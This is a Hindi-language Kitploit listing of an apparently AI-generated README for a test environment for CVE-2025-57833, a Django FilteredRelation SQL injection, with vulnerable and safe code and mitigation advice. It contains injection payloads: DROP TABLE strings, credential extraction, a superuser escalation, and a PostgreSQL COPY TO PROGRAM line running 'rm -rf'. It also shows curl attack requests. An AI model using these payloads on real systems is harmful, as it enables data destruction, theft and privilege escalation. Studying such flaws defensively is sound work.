Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-57833 — हमने CVE-2025-57833 का परीक्षण करने के लिए एक वातावरण तैयार किया है। यह वातावरण AI का उपयोग करके बनाया गया है, इसलिए इसमें निरंतर संशोधन हो सकता है। | Kitploit
उपकरण/GitHubGitHub/mkway/cve-2025-57833
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmkway/cve-2025-57833

CVE-2025-57833

हमने CVE-2025-57833 का परीक्षण करने के लिए एक वातावरण तैयार किया है। यह वातावरण AI का उपयोग करके बनाया गया है, इसलिए इसमें निरंतर संशोधन हो सकता है।

रिपॉजिटरी देखें
2121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-57833: Django SQL इंजेक्शन भेद्यता

यह रिपॉज़िटरी CVE-2025-57833 को प्रदर्शित और व्याख्या करती है, जो Django के ORM में एक गंभीर SQL इंजेक्शन भेद्यता है जो 4.2.24 से पहले के 4.2, 5.1.12 से पहले के 5.1, और 5.2.6 से पहले के 5.2 संस्करणों को प्रभावित करती है।

🚨 भेद्यता अवलोकन

CVSS स्कोर: 9.8 (गंभीर)
प्रभाव: SQL इंजेक्शन जो रिमोट कोड निष्पादन (RCE) की ओर ले जाता है
प्रमाणीकरण आवश्यक: कोई नहीं (बिना प्रमाणीकरण वाला हमला)


📚 पृष्ठभूमि को समझना

Django ORM क्या है?

Django ORM (ऑब्जेक्ट-रिलेशनल मैपिंग) डेवलपर्स को रॉ SQL के बजाय Python कोड का उपयोग करके डेटाबेस के साथ इंटरैक्ट करने की अनुमति देता है। उदाहरण के लिए:

root@kitploit:~
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

FilteredRelation क्या है?

FilteredRelation एक Django सुविधा है जो आपको अतिरिक्त फ़िल्टरिंग शर्तों के साथ तालिकाओं को जोड़ने की अनुमति देती है:

root@kitploit:~
# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

डायनामिक फ़ील्ड नाम क्या हैं?

कभी-कभी डेवलपर्स को उपयोगकर्ता इनपुट के आधार पर फ़ील्ड नाम गतिशील रूप से बनाने की आवश्यकता होती है:

root@kitploit:~
# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 भेद्यता की व्याख्या

भेद्यता कैसे उत्पन्न होती है

भेद्यता तब उत्पन्न होती है जब सैनिटाइज़ न किया गया उपयोगकर्ता इनपुट को FilteredRelation के साथ annotate() या alias() में डिक्शनरी कुंजियों के रूप में उपयोग किया जाता है। यहाँ चरण-दर-चरण प्रक्रिया दी गई है:

चरण 1: भेद्य कोड पैटर्न

root@kitploit:~
# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

चरण 2: दुर्भावनापूर्ण इनपुट

एक हमलावर दुर्भावनापूर्ण इनपुट भेजता है:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

चरण 3: SQL निर्माण

Django इस प्रकार SQL उत्पन्न करता है:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

चरण 4: SQL इंजेक्शन निष्पादित

दुर्भावनापूर्ण SQL निष्पादित किया जाता है, जो संभावित रूप से:

  • तालिकाओं को हटाना
  • संवेदनशील डेटा निकालना
  • मनमाने कमांड निष्पादित करना (RCE)

🔍 वास्तविक-विश्व हमला परिदृश्य

सामान्य भेद्य पैटर्न

कई Django अनुप्रयोगों में खोज कार्यक्षमता होती है जहाँ उपयोगकर्ता चुन सकते हैं कि किस फ़ील्ड में खोज करनी है:

root@kitploit:~
# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

हमला वेक्टर

root@kitploit:~
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ सुरक्षित बनाम भेद्य कोड

❌ भेद्य कोड

root@kitploit:~
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ सुरक्षित कोड - व्हाइटलिस्ट दृष्टिकोण

root@kitploit:~
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ सुरक्षित कोड - स्थिर फ़ील्ड नाम

root@kitploit:~
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 प्रभाव वृद्धि: SQL इंजेक्शन से RCE तक

1. सूचना प्रकटीकरण

root@kitploit:~
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. डेटाबेस हेरफेर

root@kitploit:~
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. रिमोट कोड निष्पादन (PostgreSQL)

root@kitploit:~
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ शमन रणनीतियाँ

1. इनपुट सत्यापन (अनुशंसित)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. डायनामिक फ़ील्ड नामों से बचें

root@kitploit:~
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Django को अपडेट करें

नवीनतम Django संस्करण में अपडेट करें:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 इस भेद्यता का परीक्षण

इस रिपॉज़िटरी में एक संपूर्ण परीक्षण वातावरण शामिल है:

root@kitploit:~
# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

विस्तृत परीक्षण निर्देशों के लिए, document/README.md देखें।


📖 संदर्भ

  • Django सुरक्षा सलाहकार: Django सुरक्षा रिलीज़ जारी: 5.2.6, 5.1.12, और 4.2.24
  • तकनीकी विश्लेषण: Django बिना प्रमाणीकरण 0-click RCE और SQL इंजेक्शन Eyal Gabay द्वारा
  • CVE विवरण: CVE-2025-57833 Django SQL इंजेक्शन

⚠️ अस्वीकरण

यह रिपॉज़िटरी केवल शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए है। इस जानकारी का उपयोग उन प्रणालियों पर हमला करने के लिए न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है।

टूल डाउनलोड करें